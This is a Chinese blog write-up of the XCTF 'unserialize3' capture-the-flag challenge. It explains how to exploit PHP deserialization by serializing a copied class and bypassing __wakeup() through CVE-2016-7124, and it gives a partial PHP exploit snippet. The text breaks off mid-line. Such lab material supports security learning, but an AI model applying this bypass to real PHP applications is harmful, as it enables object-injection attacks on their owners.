【攻防世界】十二 --- unserialize3 --- php反序列化

通地塔

已于 2022-07-28 07:09:57 修改

阅读量634

点赞数

分类专栏：攻防世界文章标签： ctf web安全 php反序列化

于 2020-12-25 20:36:35 首次发布

本文链接：https://blog.youkuaiyun.com/qq_43168364/article/details/111700283

版权

本文详细介绍了CTF挑战攻防世界中的'unserialize3'题目，涉及PHP反序列化漏洞的利用和绕过技巧。通过实例化类并序列化，然后利用CVE-2016-7124漏洞绕过__wakeup()函数，成功获取flag。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

题目 — unserialize3

一、writeup

一道php反序列化的题
在这里插入图片描述
关键点：

当审出存在反序列化漏洞时，我们将对应的那个类拿出到自己的php环境中，先用恶意字符串实例化该类然后用serialize()函数，进行序列化，将序列化好的东西抛出到环境中即可造成反序列化漏洞
当$flag='111’时可以看到flag，通过?code查询字符串来传入需要反序列化的字符串
反序列时会自动调用__wakeup() 函数，导致程序结束执行，因此要绕过 __wakeup() 函数（绕过的方法在知识点中有介绍）

将类巴拉下来进行实例化，将实例化的对象进行序列化，然后再替换绕过__wakeup方法，代码如下

<?php
class xctf{
   
	public $flag = '111';
	public function __wakeup(){
   
		exit('bad requests');
}
}

// 实例化类
$a = new xctf;
// 进行序列化
$a = serialize($a